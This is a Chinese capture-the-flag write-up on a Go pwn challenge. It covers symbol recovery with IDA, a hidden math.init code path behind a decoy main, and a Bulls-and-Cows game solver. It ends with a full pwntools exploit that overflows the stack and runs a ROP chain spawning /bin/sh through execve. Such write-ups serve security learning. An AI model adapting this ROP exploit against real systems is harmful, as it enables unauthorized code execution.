Go_Pwn初探

2022-04-01

Go是一种静态强类型、编译型语言。Go 语言语法与 C相近。（ Go 语言的作者之一 Ken Thompson 也是 C 语言的作者。）

go默认情况下panic⾮常多，不适合利⽤，于是本题使⽤unsafe包构造出⽐较容易利⽤的栈溢出。

unsafe包主要是提供了功能比较强的指针，所以这题倒也不是没有实际意义。

逆向分析

Go编写的，去符号表。其实我赶紧能不能F5都一样，F5了之后可读性也一般。

IDA7.5的话用 IDAGolangHelper 可以根据pclntab恢复符号表（其实第一天我卡这里挺久的，如果一开始就用的是IDA7.6说不定就出了）。IDA7.6则是自己就能恢复的差不多。原理大概都是pclntab。多亏了用的IDA7.5，了解到了这个原理，在分析的时候才能想到也许这个结构体被篡改过。

调试过程中发现下在main.main的断点不会停，刚开始怀疑是多线程的原因，后来跟进去看，发现程序是正常执行的，再根据gdb里的地址去IDA看，发现运行的代码是math.init，于是转向分析math.init。动态调试的可信度远大于静态分析。

这题最有意思的点就在于此，这个main.main做的很真，要不是我程序里没有他打印的字符串的话我很难起疑心。

math.init里，判断数字的地方不再只有0x12345678一种分支，还多了另外两种，第二种只是重来一次，重点分析第三种。

crushBullsCows

这里是一个BULLS AND COWS游戏，理论上7次之内必定能获胜。但当时就剩两小时了，过了这边调漏洞都要半天，肯定没时间自己设计了（其实就是又懒又菜，不想动脑子写）于是找到了 Mastermind 这个仓库，里面提供了一种平均5次就能获胜的算法，缺点是时间复杂度很高，跑起来很慢，好在这题没有alarm，无伤大雅。优点是这个作者写的文档和注释相当详细，读一遍就能开始魔改了。

认识的一个师傅是直接手动玩游戏过的，挺实际的解决办法，可惜我不会玩。

栈溢出

虽然创建了0x800的slice，但是bufio.Reader.read是先读到栈上的，经调试，存在栈溢出。能想到的打法就是ROP了。当时参考的是这道题挖宝题目设计思路

但是我当时找不到合适的gadget，在找能够控制rdi的寄存器的gadget时就卡住了（汇编能力不足）

后来看了那个师傅的WP，发现这些人家的汇编水平确实吊打我。

exp

from pwn import *
import random
from itertools import permutations
import numpy as np
from struct import pack

context.log_level = 'debug'
elf_path = "./gogogo"
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
#context.timeout = 0.01

elf = ELF(elf_path)
libc = ELF(libc_path)
#p = process(["ld.so.2",elf_path],env={"LD_PRELOAD":libc_path}) 
p = process(elf_path)
PIE = 0

def debug(addr): 
 debug_str = ""
 if PIE:
  text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
  for i in addr:
   debug_str+='b *{}\n'.format(hex(text_base+i))
  gdb.attach(p,debug_str) 
 else:
  for i in addr:
   debug_str+='b *{}\n'.format(hex(i))
  gdb.attach(p,debug_str) 

sda = lambda x,y:p.sendlineafter(x,y)
sdl = lambda x:p.sendline(x)
rct = lambda x:p.recvuntil(x)
prt = lambda x:log.info('\x1b[01;38;5;214m' + x + '==>' + hex(eval(x)) + '\x1b[0m')

#---------------------------------------------------------------------------------------#

def get_info(guess):
	global p
	ans = str(guess[0])+" "+str(guess[1])+" "+str(guess[2])+" "+str(guess[3])
	sdl(ans)
	response = p.recvuntil('\n',drop = True)
	if "WIN" in str(response):
		p.recvline()
		return 4,0
	else:
		Bulls = int(response[0])
		Cows = int(response[2])
		return Bulls,Cows

def playresult(notknow, guess):
    A = 0
    B = 0
    for idx, val in enumerate(notknow):
        for idx2, val2 in enumerate(guess):
            if (idx == idx2 and val == val2):  # position & value are correct
                A = A + 1
            elif (val == val2):
                B = B + 1
    return A, B

def chooseone(code_set):
    remain_table = np.zeros(len(code_set))
    for idx, val in enumerate(code_set):
        code_idx = [j for j in range(len(code_set))]
        code_idx.remove(idx)
        if (len(code_idx) > 100):
            S = random.sample(code_idx, 100)
        else:
            S = random.sample(code_idx, len(code_idx))
        remain = 0
        for idxx in S:   #  each idxx acts like answer
            A, B = playresult(code_set[idxx], code_set[idx])
            for k in S:
                a, b = playresult(code_set[k], code_set[idx])
                if (a == A and b == B):
                    remain = remain + 1
        remain_table[idx] = remain
    mindex = np.argmin(remain_table)
    return code_set[mindex]

def ini_population():
    population = permutations([0,1,2,3,4,5,6,7,8,9], 4)
    return list(population)
#---------------------------------------#
#gdb.attach(p,"b *0x48EEA0\nb *0x4906C1")

ans = 0x54749110
rct(":\n")
test = str(ans)
sdl(test)

#---------------------------------------#
#              play the game            #
#---------------------------------------#

rct("GUESS\n")

play_number = 7  # how many time we want to play
total_num = 0  # store the value of the total number of guessing through all the play
for i in range(play_number):  # start playing each game

    code_set = ini_population()  # Initialize a set of code set containing possible answer

    # Create a first guess randomly
    guess = tuple(random.sample(range(0, 9), 4))

    # Get the A, B value with guess and code
    A, B = get_info(guess)
    print(A,B)
    play_count = 1  # store the value of the number of guessing in this play

    while (A < 4):  # Still cleaning the code_set until we find the real answer
        play_count = play_count + 1
        print("Trying...")
        code_set = [t for t in code_set if playresult(t, guess) == (A, B)]
        guess = chooseone(code_set)  # We use the chooseone function to pick the element in the code set for next play
        A, B = get_info(guess)
        print(A,B)
    if A == 4:
        break

#gdb.attach(p,"b *0x494B0A")

mov_rax_rdx = 0x0000000000487923
pop_rdx_ret = 0x00000000048546c
pop_rcx_ret = 0x000000000044dbe3
mov_esi_edi = 0x000000000045832a # 0x000000000045832a : mov esi, edi ;ret
mov_edi_rcx = 0x0000000000470a95 # 0x0000000000470a95 : mov edi, dwordptr [rcx] ; ret
add_rdi_16 = 0x000000000045bcbc # add rdi,0x10; ret
set_rdi = 0x0000000000465f2b # 0x0000000000465f2b : mov rdi, qword ptr [rax + 0x10] ; mov rax, rsi ; call rdx
set_r8 = 0x00000000004021ce # // mov [r8], rdx; ret
xchg_rax_r8 = 0x00000000045b347
set_rdi2 = 0x00000000402185 # 00000000000402185 :add rdi, rdx ;mov qword ptr [r8]; rdi; ret

sdl('e')

rop = ''
rop += p64(pop_rdx_ret)
rop += p64 (0xc000000080)
rop += p64 (mov_rax_rdx)
rop += p64(pop_rdx_ret)
rop += p64(pop_rcx_ret)
rop += p64(set_rdi)
rop += p64(mov_esi_edi)
################# ### #####
rop += p64(pop_rdx_ret)
rop += p64 (0xc000000080)
rop += p64(mov_rax_rdx)
rop += p64(xchg_rax_r8)
rop += p64(set_rdi2)
rop += p64(pop_rdx_ret)
rop += p64 (0x68732f6e69622f)
rop += p64(set_r8)
rop += p64(pop_rdx_ret)
rop += p64(59)
rop += p64(mov_rax_rdx)
rop += p64(pop_rdx_ret)
rop += p64(0)
rop += p64(0x42c066) # syscall

payload  = "a"*0x460
payload += rop

rct("EXIT\n")
sdl('4')
p.send(payload)

#pause()
p.interactive()

总结

遇到困难不要睡大觉，我要是以前碰到这种题肯定直接睡大觉了，但事实证明，静下心来分析题目，多搜索搜索总能有些头绪的。
多调调，静态分析看起来很安全的程序也可能存在漏洞
汇编能力可能还要再强一点（但也不一定，谁没事一直玩gadget，够用就行
IDA对于C语言之外的语言支持都有待提高
百度就是一坨屎，做题的时候一定要用谷歌